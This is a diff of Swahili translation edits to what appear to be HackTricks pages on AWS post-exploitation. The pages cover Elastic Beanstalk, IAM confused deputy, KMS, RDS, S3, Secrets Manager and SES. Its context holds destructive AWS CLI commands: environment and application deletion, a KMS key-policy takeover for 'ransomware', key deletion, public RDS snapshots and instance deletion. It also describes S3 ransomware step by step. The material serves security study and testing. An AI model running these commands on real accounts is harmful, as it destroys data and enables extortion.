@@ -26,22 +26,22 @@ aws elasticbeanstalk delete-application-version --application-name my-app --vers
|
||||
> [!NOTE]
|
||||
> TODO: Jaribu kuona kama ruhusa zaidi zinahitajika kwa hili
|
||||
|
||||
Mshambuliaji mwenye ruhusa `elasticbeanstalk:TerminateEnvironment` anaweza **kuondoa mazingira ya Elastic Beanstalk yaliyopo**, na kusababisha muda wa kukosekana kwa programu na kupoteza kwa data ikiwa mazingira hayajawekwa kwa ajili ya nakala za akiba.
|
||||
Mshambuliaji mwenye ruhusa `elasticbeanstalk:TerminateEnvironment` anaweza **kuondoa mazingira ya Elastic Beanstalk yaliyopo**, na kusababisha muda wa kukosekana kwa programu na kupoteza data ikiwa mazingira hayajapangwa kwa ajili ya nakala za akiba.
|
||||
```bash
|
||||
aws elasticbeanstalk terminate-environment --environment-name my-existing-env
|
||||
```
|
||||
**Madhara Yanayoweza Kutokea**: Wakati wa kusimama kwa programu, kupoteza data, na usumbufu wa huduma.
|
||||
**Madhara Yanayoweza Kutokea**: Wakati wa kusimama kwa programu, kupoteza data, na kuvurugika kwa huduma.
|
||||
|
||||
### `elasticbeanstalk:DeleteApplication`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Jaribu kuona kama ruhusa zaidi zinahitajika kwa hili
|
||||
|
||||
Mshambuliaji mwenye ruhusa `elasticbeanstalk:DeleteApplication` anaweza **kufuta programu nzima ya Elastic Beanstalk**, ikiwa ni pamoja na toleo zake zote na mazingira. Kitendo hiki kinaweza kusababisha kupoteza kwa kiasi kikubwa cha rasilimali na mipangilio ya programu ikiwa hakijahifadhiwa.
|
||||
Mshambuliaji mwenye ruhusa `elasticbeanstalk:DeleteApplication` anaweza **kufuta programu nzima ya Elastic Beanstalk**, ikiwa ni pamoja na toleo zake zote na mazingira. Kitendo hiki kinaweza kusababisha kupoteza kwa kiasi kikubwa rasilimali na mipangilio ya programu ikiwa hakijahifadhiwa.
|
||||
```bash
|
||||
aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force
|
||||
```
|
||||
**Madhara Yanayoweza Kutokea**: Kupoteza rasilimali za programu, mipangilio, mazingira, na toleo za programu, na kusababisha usumbufu wa huduma na kupoteza data inayoweza kutokea.
|
||||
**Madhara Yanayoweza Kutokea**: Kupoteza rasilimali za programu, mipangilio, mazingira, na matoleo ya programu, ambayo inaweza kusababisha usumbufu wa huduma na kupoteza data.
|
||||
|
||||
### `elasticbeanstalk:SwapEnvironmentCNAMEs`
|
||||
|
||||
@@ -52,12 +52,12 @@ Mshambuliaji mwenye ruhusa ya `elasticbeanstalk:SwapEnvironmentCNAMEs` anaweza *
|
||||
```bash
|
||||
aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2
|
||||
```
|
||||
**Madhara Yanayoweza Kutokea**: Kutumikia toleo sahihi la programu kwa watumiaji au kusababisha tabia isiyokusudiwa katika programu kutokana na mazingira yaliyobadilishwa.
|
||||
**Athari Inayoweza Kutokea**: Kutumikia toleo sahihi la programu kwa watumiaji au kusababisha tabia isiyokusudiwa katika programu kutokana na mazingira yaliyobadilishwa.
|
||||
|
||||
### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Jaribu kuona kama ruhusa zaidi zinahitajika kwa hili
|
||||
> TODO: Jaribu kama ruhusa zaidi zinahitajika kwa hili
|
||||
|
||||
Mshambuliaji mwenye ruhusa za `elasticbeanstalk:AddTags` na `elasticbeanstalk:RemoveTags` anaweza **kuongeza au kuondoa lebo kwenye rasilimali za Elastic Beanstalk**. Kitendo hiki kinaweza kusababisha mgawanyiko usio sahihi wa rasilimali, bili, au usimamizi wa rasilimali.
|
||||
```bash
|
||||
|
||||
@@ -14,7 +14,7 @@ Kwa maelezo zaidi kuhusu ufikiaji wa IAM:
|
||||
|
||||
Ikiwa unaruhusu **akaunti ya nje (A)** kufikia **jukumu** katika akaunti yako, huenda ukawa na **0 uelewa** kuhusu **nani hasa anaweza kufikia akaunti hiyo ya nje**. Hii ni tatizo, kwa sababu ikiwa akaunti nyingine ya nje (B) inaweza kufikia akaunti ya nje (A) inawezekana kwamba **B pia itaweza kufikia akaunti yako**.
|
||||
|
||||
Kwa hivyo, unaporuhusu akaunti ya nje kufikia jukumu katika akaunti yako inawezekana kubainisha `ExternalId`. Hii ni "nywila" ya siri ambayo akaunti ya nje (A) **inahitaji kubainisha** ili **kuchukua jukumu katika shirika lako**. Kwa kuwa **akaunti ya nje B haitajui nywila hii**, hata kama ana ufikiaji juu ya A **hataweza kufikia jukumu lako**.
|
||||
Kwa hiyo, unaporuhusu akaunti ya nje kufikia jukumu katika akaunti yako inawezekana kubainisha `ExternalId`. Hii ni "nywila" ya siri ambayo akaunti ya nje (A) **inahitaji kubainisha** ili **ichukue jukumu katika shirika lako**. Kwa kuwa **akaunti ya nje B haitajui nywila hii**, hata kama ana ufikiaji juu ya A **hataweza kufikia jukumu lako**.
|
||||
|
||||
<figure><img src="../../../images/image (95).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -39,9 +39,9 @@ Mfano:
|
||||
}
|
||||
```
|
||||
> [!WARNING]
|
||||
> Ili mshambuliaji aweze kutumia confused deputy, atahitaji kupata njia ya kujua kama wakuu wa akaunti ya sasa wanaweza kujifanya kama majukumu katika akaunti nyingine.
|
||||
> Ili mshambuliaji aweze kutumia msaidizi aliyechanganyikiwa, itabidi apate kwa namna fulani ikiwa wakuu wa akaunti ya sasa wanaweza kujifanya kuwa majukumu katika akaunti nyingine.
|
||||
|
||||
### Miamala Isiyotarajiwa
|
||||
### Imani zisizotarajiwa
|
||||
|
||||
#### Wildcard kama mkuu
|
||||
```json
|
||||
@@ -51,9 +51,9 @@ Mfano:
|
||||
"Principal": { "AWS": "*" }
|
||||
}
|
||||
```
|
||||
Hii sera **inaruhusu wote AWS** kuchukua jukumu.
|
||||
Sera hii **inaruhusu AWS zote** kuchukua jukumu.
|
||||
|
||||
#### Huduma kama mkuu
|
||||
#### Huduma kama kiongozi
|
||||
```json
|
||||
{
|
||||
"Action": "lambda:InvokeFunction",
|
||||
@@ -62,7 +62,7 @@ Hii sera **inaruhusu wote AWS** kuchukua jukumu.
|
||||
"Resource": "arn:aws:lambda:000000000000:function:foo"
|
||||
}
|
||||
```
|
||||
Hii sera **inaruhusu akaunti yoyote** kuunda apigateway yao ili kuita hii Lambda.
|
||||
Sera hii **inaruhusu akaunti yoyote** kuunda apigateway yao ili kuita Lambda hii.
|
||||
|
||||
#### S3 kama kiongozi
|
||||
```json
|
||||
@@ -73,7 +73,7 @@ Hii sera **inaruhusu akaunti yoyote** kuunda apigateway yao ili kuita hii Lambda
|
||||
}
|
||||
}
|
||||
```
|
||||
Ikiwa S3 bucket imetolewa kama kiongozi, kwa sababu S3 buckets haina Nambari ya Akaunti, ikiwa **ulifuta bucket yako na mshambuliaji akaunda** hiyo katika akaunti yao, basi wanaweza kuitumia vibaya hii.
|
||||
Ikiwa S3 bucket inatolewa kama principal, kwa sababu S3 buckets haina Account ID, ikiwa **ulifuta bucket yako na mshambuliaji akaunda** hiyo katika akaunti yao, basi wanaweza kuitumia vibaya hii.
|
||||
|
||||
#### Not supported
|
||||
```json
|
||||
@@ -86,7 +86,7 @@ Ikiwa S3 bucket imetolewa kama kiongozi, kwa sababu S3 buckets haina Nambari ya
|
||||
```
|
||||
Njia ya kawaida ya kuepuka matatizo ya Confused Deputy ni matumizi ya hali na `AWS:SourceArn` ili kuangalia ARN ya asili. Hata hivyo, **huduma zingine huenda zisipokee hiyo** (kama CloudTrail kulingana na vyanzo vingine).
|
||||
|
||||
## References
|
||||
## Marejeleo
|
||||
|
||||
- [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html)
|
||||
|
||||
|
||||
@@ -12,10 +12,10 @@ Kwa maelezo zaidi angalia:
|
||||
|
||||
### Kuandika/Kufungua taarifa
|
||||
|
||||
`fileb://` na `file://` ni mipango ya URI inayotumika katika amri za AWS CLI kubaini njia ya faili za ndani:
|
||||
`fileb://` na `file://` ni mipango ya URI inayotumika katika amri za AWS CLI kuashiria njia ya faili za ndani:
|
||||
|
||||
- `fileb://:` Inasoma faili kwa njia ya binary, inayotumika kawaida kwa faili zisizo za maandiko.
|
||||
- `file://:` Inasoma faili kwa njia ya maandiko, kwa kawaida inatumika kwa faili za maandiko safi, skripti, au JSON ambayo haina mahitaji maalum ya uandishi.
|
||||
- `file://:` Inasoma faili kwa njia ya maandiko, inayotumika kawaida kwa faili za maandiko safi, skripti, au JSON ambayo haina mahitaji maalum ya uandishi.
|
||||
|
||||
> [!TIP]
|
||||
> Kumbuka kwamba ikiwa unataka kufungua baadhi ya data ndani ya faili, faili lazima iwe na data ya binary, si data iliyowekwa kwa base64. (fileb://)
|
||||
@@ -38,7 +38,7 @@ aws kms decrypt \
|
||||
--query Plaintext | base64 \
|
||||
--decode
|
||||
```
|
||||
- Kutumia **asymmetric** key:
|
||||
- Kutumia **asymmetric** ufunguo:
|
||||
```bash
|
||||
# Encrypt data
|
||||
aws kms encrypt \
|
||||
@@ -60,14 +60,14 @@ aws kms decrypt \
|
||||
```
|
||||
### KMS Ransomware
|
||||
|
||||
Mshambuliaji mwenye ufikiaji wa kipaumbele juu ya KMS anaweza kubadilisha sera ya KMS ya funguo na **kutoa ufikiaji wa akaunti yake juu yao**, akiondoa ufikiaji uliopewa akaunti halali.
|
||||
Mshambuliaji mwenye ufikiaji wa kipaumbele juu ya KMS anaweza kubadilisha sera ya KMS ya funguo na **kutoa ufikiaji wa akaunti yake juu yao**, akiondoa ufikiaji uliopewa kwa akaunti halali.
|
||||
|
||||
Hivyo, watumiaji wa akaunti halali hawawezi kupata taarifa yoyote ya huduma yoyote ambayo imekuwa imefichwa kwa kutumia funguo hizo, na kuunda ransomware rahisi lakini yenye ufanisi juu ya akaunti hiyo.
|
||||
Hivyo, watumiaji wa akaunti halali hawataweza kufikia taarifa yoyote ya huduma yoyote ambayo imekuwa imefichwa kwa kutumia funguo hizo, na kuunda ransomware rahisi lakini yenye ufanisi juu ya akaunti hiyo.
|
||||
|
||||
> [!WARNING]
|
||||
> Kumbuka kwamba **funguo zinazodhibitiwa na AWS hazihusiki** na shambulio hili, ni **funguo zinazodhibitiwa na Mteja** pekee.
|
||||
> Kumbuka kwamba **funguo zinazodhibitiwa na AWS hazihusiki** na shambulio hili, tu **funguo zinazodhibitiwa na Mteja**.
|
||||
|
||||
> Pia kumbuka hitaji la kutumia param **`--bypass-policy-lockout-safety-check`** (ukosefu wa chaguo hili kwenye konsoli ya wavuti unafanya shambulio hili liwezekane tu kutoka CLI).
|
||||
> Pia kumbuka hitaji la kutumia param **`--bypass-policy-lockout-safety-check`** (ukosefu wa chaguo hili kwenye konsoli ya wavuti unafanya shambulio hili liwezekane tu kutoka kwa CLI).
|
||||
```bash
|
||||
# Force policy change
|
||||
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
|
||||
@@ -92,7 +92,7 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
|
||||
}
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Kumbuka kwamba ikiwa unabadilisha sera hiyo na kutoa ufikiaji tu kwa akaunti ya nje, na kisha kutoka kwenye akaunti hii ya nje unajaribu kuweka sera mpya ili **kurudisha ufikiaji kwa akaunti ya awali, huwezi**.
|
||||
> Kumbuka kwamba ikiwa unabadilisha sera hiyo na kutoa ufikiaji kwa akaunti ya nje tu, na kisha kutoka kwenye akaunti hii ya nje unajaribu kuweka sera mpya ili **kurudisha ufikiaji kwa akaunti ya awali, huwezi**.
|
||||
|
||||
<figure><img src="../../../images/image (77).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -100,14 +100,12 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
|
||||
|
||||
#### Global KMS Ransomware
|
||||
|
||||
Kuna njia nyingine ya kutekeleza KMS Ransomware ya kimataifa, ambayo itahusisha hatua zifuatazo:
|
||||
Kuna njia nyingine ya kutekeleza Global KMS Ransomware, ambayo itahusisha hatua zifuatazo:
|
||||
|
||||
- Kuunda **funguo mpya na nyenzo za funguo** zilizoorodheshwa na mshambuliaji
|
||||
- **Kurejesha data za zamani** zilizofichwa na toleo la awali na ile mpya.
|
||||
- **Futa funguo za KMS**
|
||||
- Sasa ni mshambuliaji tu, ambaye ana nyenzo za funguo za awali anaweza kufichua data iliyofichwa
|
||||
|
||||
### Destroy keys
|
||||
- Sasa ni mshambuliaji tu, ambaye ana nyenzo za funguo za awali anaweza kufichua data zilizofichwa
|
||||
```bash
|
||||
# Destoy they key material previously imported making the key useless
|
||||
aws kms delete-imported-key-material --key-id 1234abcd-12ab-34cd-56ef-1234567890ab
|
||||
@@ -118,7 +116,7 @@ aws kms schedule-key-deletion \
|
||||
--pending-window-in-days 7
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Kumbuka kwamba AWS sasa **inasitisha hatua zilizopita kutekelezwa kutoka akaunti tofauti:**
|
||||
> Kumbuka kwamba AWS sasa **inazuia hatua za awali kufanywa kutoka akaunti tofauti:**
|
||||
|
||||
<figure><img src="../../../images/image (76).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
||||
@@ -20,7 +20,7 @@ aws-warm-lambda-persistence.md
|
||||
|
||||
### Kuiba Maombi ya URL ya Lambda za Wengine & Maombi ya Extensions
|
||||
|
||||
Kunyanyasa Lambda Layers pia inawezekana kunyanyasa extensions na kudumu katika lambda lakini pia kuiba na kubadilisha maombi.
|
||||
Kutatiza Lambda Layers pia inawezekana kutatiza extensions na kudumu katika lambda lakini pia kuiba na kubadilisha maombi.
|
||||
|
||||
{{#ref}}
|
||||
../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
|
||||
|
||||
@@ -7,18 +7,18 @@
|
||||
<figure><img src="../../../../images/image (341).png" alt=""><figcaption><p><a href="https://unit42.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_2_arch.png">https://unit42.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_2_arch.png</a></p></figcaption></figure>
|
||||
|
||||
1. **Slicer** ni mchakato nje ya kontena ambao **inatuma** **maombi** kwa mchakato wa **init**.
|
||||
2. Mchakato wa init unasikiliza kwenye bandari **9001** ukionyesha baadhi ya maeneo ya kuvutia:
|
||||
2. Mchakato wa init unasikiliza kwenye bandari **9001** ukifichua baadhi ya maeneo ya kuvutia:
|
||||
- **`/2018-06-01/runtime/invocation/next`** – pata tukio la maombi linalofuata
|
||||
- **`/2018-06-01/runtime/invocation/{invoke-id}/response`** – rudisha jibu la handler kwa ombi
|
||||
- **`/2018-06-01/runtime/invocation/{invoke-id}/error`** – rudisha kosa la utekelezaji
|
||||
3. **bootstrap.py** ina mzunguko unaopata maombi kutoka kwa mchakato wa init na inaita msimbo wa watumiaji kushughulikia hayo (**`/next`**).
|
||||
3. **bootstrap.py** ina mzunguko unaopata maombi kutoka kwa mchakato wa init na inaita msimbo wa watumiaji kushughulikia maombi hayo (**`/next`**).
|
||||
4. Hatimaye, **bootstrap.py** inatuma kwa init **jibu**
|
||||
|
||||
Kumbuka kwamba bootstrap inachukua msimbo wa mtumiaji kama moduli, hivyo utekelezaji wowote wa msimbo unaofanywa na msimbo wa watumiaji unafanyika katika mchakato huu.
|
||||
|
||||
## Kuiba Maombi ya Lambda
|
||||
|
||||
Lengo la shambulio hili ni kufanya msimbo wa watumiaji utekeleze mchakato mbaya wa **`bootstrap.py`** ndani ya mchakato wa **`bootstrap.py`** ambao unashughulikia ombi lenye udhaifu. Kwa njia hii, mchakato wa **bootstrap mbaya** utaanza **kuzungumza na mchakato wa init** ili kushughulikia maombi wakati **bootstrap halali** ime **kwama** ikikimbia ile mbaya, hivyo haitahitaji maombi kwa mchakato wa init.
|
||||
Lengo la shambulio hili ni kufanya msimbo wa watumiaji utekeleze mchakato mbaya wa **`bootstrap.py`** ndani ya mchakato wa **`bootstrap.py`** unaoshughulikia ombi lenye udhaifu. Kwa njia hii, mchakato wa **bootstrap mbaya** utaanza **kuzungumza na mchakato wa init** ili kushughulikia maombi wakati **bootstrap halali** ime **kwama** ikifanya mchakato mbaya, hivyo haitahitaji maombi kwa mchakato wa init.
|
||||
|
||||
Hii ni kazi rahisi kufanikisha kwani msimbo wa mtumiaji unatekelezwa na mchakato halali wa **`bootstrap.py`**. Hivyo mshambuliaji anaweza:
|
||||
|
||||
|
||||
@@ -10,18 +10,18 @@ Kwa maelezo zaidi, angalia:
|
||||
../aws-services/aws-lightsail-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Restore old DB snapshots
|
||||
### Rejesha picha za zamani za DB
|
||||
|
||||
Ikiwa DB ina snapshots, unaweza kuwa na uwezo wa **kupata taarifa nyeti ambazo kwa sasa zimefutwa katika snapshots za zamani**. **Rejesha** snapshot katika **database mpya** na uichunguze.
|
||||
Ikiwa DB ina picha, unaweza kuwa na uwezo wa **kupata taarifa nyeti ambazo kwa sasa zimefutwa katika picha za zamani**. **Rejesha** picha hiyo katika **databasi mpya** na uichunguze.
|
||||
|
||||
### Restore Instance Snapshots
|
||||
### Rejesha Picha za Instance
|
||||
|
||||
Instance snapshots zinaweza kuwa na **taarifa nyeti** za instances ambazo tayari zimefutwa au taarifa nyeti ambazo zimefutwa katika instance ya sasa. **Unda instances mpya kutoka kwa snapshots** na uziangalie.\
|
||||
Au **export snapshot kwa AMI katika EC2** na ufuate hatua za instance ya kawaida ya EC2.
|
||||
Picha za instance zinaweza kuwa na **taarifa nyeti** za instances ambazo tayari zimefutwa au taarifa nyeti ambazo zimefutwa katika instance ya sasa. **Unda instances mpya kutoka kwa picha hizo** na uziangalie.\
|
||||
Au **hamasisha picha hiyo kuwa AMI katika EC2** na ufuate hatua za instance ya kawaida ya EC2.
|
||||
|
||||
### Access Sensitive Information
|
||||
### Fikia Taarifa Nyeti
|
||||
|
||||
Angalia chaguzi za privesc za Lightsail kujifunza njia tofauti za kupata taarifa nyeti zinazoweza kuwepo:
|
||||
Angalia chaguzi za privesc za Lightsail kujifunza njia tofauti za kufikia taarifa nyeti zinazoweza kuwepo:
|
||||
|
||||
{{#ref}}
|
||||
../aws-privilege-escalation/aws-lightsail-privesc.md
|
||||
|
||||
@@ -10,7 +10,7 @@ Kwa maelezo zaidi kuhusu AWS Organizations angalia:
|
||||
../aws-services/aws-organizations-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Leave the Org
|
||||
### Ondoka kwenye Org
|
||||
```bash
|
||||
aws organizations deregister-account --account-id <account_id> --region <region>
|
||||
```
|
||||
|
||||
@@ -40,9 +40,9 @@ aws rds modify-db-instance \
|
||||
```
|
||||
### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
|
||||
|
||||
Mshambuliaji mwenye ruhusa hizi anaweza **kuunda picha ya DB** na kuifanya **ipatikane** **hadharani**. Kisha, anaweza tu kuunda katika akaunti yake mwenyewe DB kutoka kwa picha hiyo.
|
||||
Mshambuliaji mwenye ruhusa hizi anaweza **kuunda snapshot ya DB** na kuifanya **ipatikane** **hadharani**. Kisha, anaweza tu kuunda katika akaunti yake mwenyewe DB kutoka kwa snapshot hiyo.
|
||||
|
||||
Ikiwa mshambuliaji **hana `rds:CreateDBSnapshot`**, bado anaweza kufanya **picha** nyingine zilizoundwa **kuwa za hadharani**.
|
||||
Ikiwa mshambuliaji **hana `rds:CreateDBSnapshot`**, bado anaweza kufanya **snapshots** nyingine zilizoundwa kuwa **hadharani**.
|
||||
```bash
|
||||
# create snapshot
|
||||
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
|
||||
@@ -53,7 +53,7 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
|
||||
```
|
||||
### `rds:DownloadDBLogFilePortion`
|
||||
|
||||
Mshambuliaji mwenye ruhusa ya `rds:DownloadDBLogFilePortion` anaweza **kupakua sehemu za faili za kumbukumbu za mfano wa RDS**. Ikiwa data nyeti au akreditii za ufikiaji zimeandikwa kwa bahati mbaya, mshambuliaji anaweza kutumia taarifa hii kuongeza mamlaka yao au kufanya vitendo visivyoidhinishwa.
|
||||
Mshambuliaji mwenye ruhusa ya `rds:DownloadDBLogFilePortion` anaweza **kupakua sehemu za faili za logi za RDS**. Ikiwa data nyeti au akreditivu za ufikiaji zimeandikwa kwa bahati mbaya, mshambuliaji anaweza kutumia taarifa hii kuongeza mamlaka yao au kufanya vitendo visivyoidhinishwa.
|
||||
```bash
|
||||
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
|
||||
```
|
||||
@@ -61,7 +61,7 @@ aws rds download-db-log-file-portion --db-instance-identifier target-instance --
|
||||
|
||||
### `rds:DeleteDBInstance`
|
||||
|
||||
Mshambuliaji mwenye ruhusa hizi anaweza **kusababisha DoS kwa mifano ya RDS iliyopo**.
|
||||
Mshambuliaji mwenye ruhusa hizi anaweza **kusababisha DoS kwa RDS instances zilizopo**.
|
||||
```bash
|
||||
# Delete
|
||||
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
|
||||
|
||||
@@ -12,24 +12,24 @@ Kwa maelezo zaidi angalia:
|
||||
|
||||
### Taarifa Nyeti
|
||||
|
||||
Wakati mwingine utaweza kupata taarifa nyeti zinazoweza kusomwa katika mabakuli. Kwa mfano, siri za hali ya terraform.
|
||||
Wakati mwingine utaweza kupata taarifa nyeti zinazoweza kusomwa katika makundi. Kwa mfano, siri za hali ya terraform.
|
||||
|
||||
### Pivoting
|
||||
|
||||
Majukwaa tofauti yanaweza kuwa yanatumia S3 kuhifadhi mali nyeti.\
|
||||
Kwa mfano, **airflow** inaweza kuwa inahifadhi **DAGs** **code** humo, au **kurasa za wavuti** zinaweza kutolewa moja kwa moja kutoka S3. Mshambuliaji mwenye ruhusa za kuandika anaweza **kubadilisha msimbo** kutoka kwenye bakuli ili **pivot** kwa majukwaa mengine, au **kuchukua akaunti** kwa kubadilisha faili za JS.
|
||||
Majukwaa tofauti yanaweza kutumia S3 kuhifadhi mali nyeti.\
|
||||
Kwa mfano, **airflow** inaweza kuwa inahifadhi **DAGs** **code** humo, au **kurasa za wavuti** zinaweza kutolewa moja kwa moja kutoka S3. Mshambuliaji mwenye ruhusa za kuandika anaweza **kubadilisha code** kutoka kwenye kundi ili **pivot** kwa majukwaa mengine, au **kuchukua akaunti** kwa kubadilisha faili za JS.
|
||||
|
||||
### S3 Ransomware
|
||||
|
||||
Katika hali hii, **mshambuliaji anaunda funguo ya KMS (Key Management Service) katika akaunti yake ya AWS** au akaunti nyingine iliyovunjwa. Kisha wanafanya **funguo hii ipatikane kwa mtu yeyote duniani**, ikiruhusu mtumiaji yeyote wa AWS, jukumu, au akaunti kuandika vitu kwa kutumia funguo hii. Hata hivyo, vitu haviwezi kufichuliwa.
|
||||
Katika hali hii, **mshambuliaji anaunda funguo ya KMS (Key Management Service) katika akaunti yake ya AWS** au akaunti nyingine iliyovunjwa. Kisha wanafanya **funguo hii ipatikane kwa mtu yeyote duniani**, ikiruhusu mtumiaji yeyote wa AWS, jukumu, au akaunti kuandika vitu kwa kutumia funguo hii. Hata hivyo, vitu haviwezi kufutwa.
|
||||
|
||||
Mshambuliaji anabaini lengo **S3 bucket na kupata ufikiaji wa kiwango cha kuandika** kwa kutumia mbinu mbalimbali. Hii inaweza kuwa kutokana na usanidi mbaya wa bakuli unaoonyesha hadharani au mshambuliaji kupata ufikiaji wa mazingira ya AWS yenyewe. Mshambuliaji kwa kawaida anawalenga mabakuli yanay contain taarifa nyeti kama vile taarifa zinazoweza kutambulika binafsi (PII), taarifa za afya zilizolindwa (PHI), kumbukumbu, nakala za akiba, na zaidi.
|
||||
Mshambuliaji anabaini lengo **S3 bucket na kupata ufikiaji wa kiwango cha kuandika** kwa kutumia mbinu mbalimbali. Hii inaweza kuwa kutokana na usanidi mbaya wa kundi unaoonyesha hadharani au mshambuliaji kupata ufikiaji wa mazingira ya AWS yenyewe. Mshambuliaji kwa kawaida anawalenga makundi yanay contain taarifa nyeti kama vile taarifa zinazoweza kutambulika binafsi (PII), taarifa za afya zilizolindwa (PHI), kumbukumbu, nakala za akiba, na zaidi.
|
||||
|
||||
Ili kubaini kama bakuli inaweza kulengwa kwa ransomware, mshambuliaji anachunguza usanidi wake. Hii inajumuisha kuthibitisha kama **S3 Object Versioning** imewezeshwa na kama **muhimu ya uthibitisho wa hatua nyingi (MFA delete) imewezeshwa**. Ikiwa Object Versioning haijawezeshwa, mshambuliaji anaweza kuendelea. Ikiwa Object Versioning imewezeshwa lakini MFA delete haijawezeshwa, mshambuliaji anaweza **kuondoa Object Versioning**. Ikiwa zote Object Versioning na MFA delete zimewezeshwa, inakuwa vigumu zaidi kwa mshambuliaji kufanya ransomware kwenye bakuli hilo maalum.
|
||||
Ili kubaini kama kundi linaweza kulengwa kwa ransomware, mshambuliaji anachunguza usanidi wake. Hii inajumuisha kuthibitisha kama **S3 Object Versioning** imewezeshwa na kama **kuondoa uthibitisho wa hatua nyingi (MFA delete) kumewashwa**. Ikiwa Object Versioning haijawezeshwa, mshambuliaji anaweza kuendelea. Ikiwa Object Versioning imewezeshwa lakini MFA delete haijawashwa, mshambuliaji anaweza **kuondoa Object Versioning**. Ikiwa zote Object Versioning na MFA delete zimewezeshwa, inakuwa vigumu zaidi kwa mshambuliaji kufanya ransomware kwenye kundi hilo maalum.
|
||||
|
||||
Kwa kutumia AWS API, mshambuliaji **anabadilisha kila kitu katika bakuli na nakala iliyofichwa kwa kutumia funguo zao za KMS**. Hii inafanikisha kuficha data katika bakuli, na kuifanya isipatikane bila funguo.
|
||||
Kwa kutumia AWS API, mshambuliaji **anabadilisha kila kitu katika kundi na nakala iliyofichwa kwa kutumia funguo zao za KMS**. Hii inafanikisha kuficha data katika kundi, na kuifanya isipatikane bila funguo.
|
||||
|
||||
Ili kuongeza shinikizo zaidi, mshambuliaji anapanga kufuta funguo ya KMS iliyotumika katika shambulio. Hii inampa lengo dirisha la siku 7 kurejesha data zao kabla funguo hiyo haijafutwa na data inakuwa imepotea milele.
|
||||
Ili kuongeza shinikizo zaidi, mshambuliaji anapanga kufuta funguo ya KMS iliyotumika katika shambulio. Hii inampa lengo dirisha la siku 7 ili kurejesha data zao kabla funguo hiyo haijafutwa na data kuwa kupotea milele.
|
||||
|
||||
Hatimaye, mshambuliaji anaweza kupakia faili ya mwisho, kwa kawaida inayoitwa "ransom-note.txt," ambayo ina maelekezo kwa lengo jinsi ya kurejesha faili zao. Faili hii inapakiwa bila kufichwa, labda ili kuvutia umakini wa lengo na kuwajulisha kuhusu shambulio la ransomware.
|
||||
|
||||
|
||||
@@ -1,8 +1,8 @@
|
||||
# AWS - Secrets Manager Post Exploitation
|
||||
# AWS - Usimamizi wa Siri Baada ya Kutekeleza
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Secrets Manager
|
||||
## Usimamizi wa Siri
|
||||
|
||||
Kwa maelezo zaidi angalia:
|
||||
|
||||
@@ -10,11 +10,11 @@ Kwa maelezo zaidi angalia:
|
||||
../aws-services/aws-secrets-manager-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Read Secrets
|
||||
### Soma Siri
|
||||
|
||||
**siri zenyewe ni taarifa nyeti**, [angalia ukurasa wa privesc](../aws-privilege-escalation/aws-secrets-manager-privesc.md) kujifunza jinsi ya kuzisoma.
|
||||
|
||||
### DoS Change Secret Value
|
||||
### Badilisha Thamani ya Siri kwa DoS
|
||||
|
||||
Kubadilisha thamani ya siri unaweza **DoS mfumo wote unaotegemea thamani hiyo.**
|
||||
|
||||
@@ -26,7 +26,7 @@ aws secretsmanager put-secret-value \
|
||||
--secret-id MyTestSecret \
|
||||
--secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}"
|
||||
```
|
||||
### DoS Badilisha ufunguo wa KMS
|
||||
### DoS Badilisha funguo la KMS
|
||||
```bash
|
||||
aws secretsmanager update-secret \
|
||||
--secret-id MyTestSecret \
|
||||
|
||||
@@ -17,7 +17,7 @@ Tuma barua pepe.
|
||||
aws ses send-email --from sender@example.com --destination file://emails.json --message file://message.json
|
||||
aws sesv2 send-email --from sender@example.com --destination file://emails.json --message file://message.json
|
||||
```
|
||||
Still to test.
|
||||
Bado kupima.
|
||||
|
||||
### `ses:SendRawEmail`
|
||||
|
||||
@@ -25,7 +25,7 @@ Tuma barua pepe.
|
||||
```bash
|
||||
aws ses send-raw-email --raw-message file://message.json
|
||||
```
|
||||
Still to test.
|
||||
Bado kujaribu.
|
||||
|
||||
### `ses:SendTemplatedEmail`
|
||||
|
||||
@@ -33,29 +33,29 @@ Tuma barua pepe kulingana na kigezo.
|
||||
```bash
|
||||
aws ses send-templated-email --source <value> --destination <value> --template <value>
|
||||
```
|
||||
Still to test.
|
||||
Bado kujaribu.
|
||||
|
||||
### `ses:SendBulkTemplatedEmail`
|
||||
|
||||
Tuma barua pepe kwa marudio mengi
|
||||
Tuma barua pepe kwa maeneo mengi
|
||||
```bash
|
||||
aws ses send-bulk-templated-email --source <value> --template <value>
|
||||
```
|
||||
Still to test.
|
||||
Bado kujaribu.
|
||||
|
||||
### `ses:SendBulkEmail`
|
||||
|
||||
Tuma barua pepe kwa marudio mengi.
|
||||
Tuma barua pepe kwa maeneo mengi.
|
||||
```
|
||||
aws sesv2 send-bulk-email --default-content <value> --bulk-email-entries <value>
|
||||
```
|
||||
